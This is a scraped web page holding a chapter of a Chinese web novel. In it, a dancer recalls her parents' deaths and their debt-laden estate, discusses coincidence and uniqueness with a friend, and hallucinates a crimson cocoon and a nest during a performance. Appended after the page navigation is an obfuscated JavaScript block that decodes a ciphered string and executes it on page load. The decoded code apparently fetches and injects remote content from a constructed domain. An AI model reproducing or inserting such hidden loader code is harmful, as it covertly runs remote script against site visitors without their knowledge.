返回

灾厄艺术家

首页
关灯
护眼
字体:
106 启示(我复活了)
【尊敬的庄熙:

我们怀着悲痛的心情通知您,您的监护人庄行健、宋皎,由于意外生产事故去世。

经信用系统核算,可继承资产约为-79000.00(已计算意外险和相关税务)。

您名下的委托抚养服务,将自动由B类转换为C类,请尽快在校内系统客户端进行确认。

您可以选择:查看资产核算详情;继承事务自助办理;查看C类合同详情.】

上一次和他们见面,是七个月前。他们已经拖欠半年多的抚养费。

以前每周周日,他们都会到学校里接自己。父亲和母亲的关系不算融洽,但在特定的这一天里会和睦相处。

他们会一起聚餐,去游乐场,动物园,电影院。最后在璀璨的夜色中送她回学校。

学校里有这样机会的学生并不多。她是B类,大部分人是C类,庄熙知道自己是特别的。

但父母无力支付B类合同要求的15%抚养费后,周日就不再是个特别日子,或许比其它日子更糟糕。

她选择一个人待在偏僻的小活动室里,循环播放舞蹈视频直到深夜。这样别人就不会知道没人来接她。

收到他们离开的消息后,庄熙独自去确认了一遍遗产,最终选择放弃继承。

这是必然的结果。她只是想通过最后的机会,让自己对他们的印象清晰一些。

似乎是从那之后,她才完全投入到舞蹈中。

她需要一种手段逃离生活的噪音,需要用它维持自身的独特。

从学校离开后,庄熙才清楚地认识到一些事情。

譬如,她和白哲分到的福利学校太烂了,C类生占比奇高。在父母陪伴下长大其实是件很正常的事。

还有,擅长跳舞的人很多,她会跳的舞都有人或机器跳得更好。

高科技公司可以克隆出庄熙2号,庄熙999号,也可以做出和她一样的机器人。

她慢慢地,不可阻挡地认识到,自己所寻求的独特性只是一厢情愿。就像其他无数人一样。

她并不因此感到愤怒,只是失望。原来并不存在安宁私密的自留地,所有人都身处于这片混沌的喧嚣中。

“白哲,祂们为什么要做这些事呢?”

“不知道。可能是想在星之城混个脸熟,可能想毁灭世界,可能就找点乐子。”

“那你为什么做关于祂们的作品?”

“有报酬。”

“哦。”

强而有力的动机。

白哲:“而且有意思。做起来充满热情,灵感噗嗤噗嗤的,时不时会有惊喜。”

“因为做的东西独一无二?”

“其实独一无二的是祂们吧,我做出的东西没多特别,只是占了便宜。能有这种创作机会很难得。”

半个月前,庄熙一边开车,一边探问白哲的想法。

“还有,为什么是我?为什么选择我?”

“啊?我认识的专业舞者就你一个。”

过于直白的回答让庄熙一时语塞。

“那换其他舞者也行?”

“应该可以吧。世界上优秀的舞者很多,其中可能有一小部分能像你一样与飞蛾之舞产生共鸣。”

“那枚卵呢?”

“说是对伱愿望的回应。你祈愿了,祂就发了个鬼东西帮你实现愿望。”

濒死状态下的超现实体验,让她有种强烈的宿命感。但这份感受正被白哲迅速摧毁。

“所以,全都是巧合?”

“大概是吧。哪有什么命中注定,至多是蓄谋已久。”

庄熙顿时警惕:“你是不是蓄谋已久?”

“我自己都不知道怎么上贼船的,还想蓄谋你。”

白哲摇头,眼神中满是纯真。想不出结果的事不要多想。

“巧合吗”

“巧合才有意思,命中注定的事情没什么好珍惜的。”

“你从哪看的励志文学?说得倒没错。”

偶然的重逢才值得珍惜,因为不知晓还会有几次这样的机会。

“你就当我太无聊了.白哲,你觉得自己是个特别的人吗?独一无二?”

“肯定的。”

副驾驶不假思索地回答。

“但假如机器能取代你的所有工作,甚至能读取你的所有记忆,依然特别吗?”

“没区别。比如我想扇老板一耳光,机器能扇得比我重千倍万倍,但绝对是我自己抽过去爽。”

“这是什么道理.”

“以前在学校里,我们有些人会捡优质树枝,拿小刀削成各种抽象样式的武器。

那种东西原始人做过无数遍了,而且做得更好,但我削起来还是觉得好玩,自己削树枝获得的成就感独一无二。

可能说得有点抽象。我体验了许多梦影后,最明显的感受是每个人的精神世界都不同。”

白哲的脑回路简单粗暴。哪怕客观上的行为、结果与他人相同,自我的主观体验是唯一的。

仿生人能模仿你的舞蹈,但无法复制你起舞时内心的波澜。

开场前一刻,站在舞台中央的庄熙脑海中闪烁着各种画面和思绪。

“关于舞蹈的起源,一种流行学说是其诞生于图腾崇拜的原始信仰,人们将舞蹈作为与图腾信仰沟通,祈福避灾的媒介.”

“我觉得,舞蹈诞生不是给神明看的。那时的人类或许还没有语言,但可能高兴时会拍手,生气时会跳来跳去,会在喜欢的人面前扭动身体。

风吹过原野,野火灼烧树木,雨水滴落山岩,人们随之摆动身体,表达内心的躁动。”

庄熙记得,当时的自己是这样说的。

《化生》开场的那一瞬,她感受到自己胸腔中一股扭曲而危险的生命力被唤醒,向外涌动。

置身聚光灯下,她的手腕、脚踝、后背生出密集的猩红丝线,其他人似乎无法看见。包括白哲。

台上的立体剪影被染成鲜红,狂舞的丝线结成网络,如同化为实质将她包裹。

舞至第二部分“茧”结束,庄熙已真的被困在猩红之茧中。

她看不见舞台和观众,听不见鼓声与铮鸣,触不到冬夜冰冷的空气。

茧之外只有一片宏伟的巢穴,外表模糊不清的生命体在彩色卵形囊泡般的结构中沉眠或蠕动,四周散发着温暖湿润的愉悦气息。

“巢穴■■安眠愿望■■永恒转化■■孩子安眠■■巢穴蛾母孩子■■甜蜜安眠■于此永恒安宁■■”

“■■■■阿什因玛■■不朽之卵不破之茧■■■■众生愿网永恒巢穴■■■.”

“来吧——孩子——”

庄熙沉浸在轻柔的呢喃声中,意识不由自主地在温暖与抚慰中沉溺。胸口出现一道尖锐的突起,若有锋利荆棘即将刺破皮肤。

来吧孩子,安眠于此,甜蜜的巢穴——

她本能地挣扎着,四肢不停撕扯茧壳。

不,我的表演还没结束。这不是祭神的仪式,这是我的舞蹈。

她重重拍在胸口,手掌被棘刺贯穿,痛得清醒过来。

茧与巢穴的幻觉褪去,强烈的虚弱感涌入身体,庄熙摔倒在舞台上。

眼睛消肿了,周日也终于闲下来了。分析了一下最近倒霉原因,应该是被书名克的,准备改成《祥瑞艺术家》。

看到一只吃撑的小狸花,肚子圆滚滚的,趴在草地上晒太阳。

(本章完)


上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();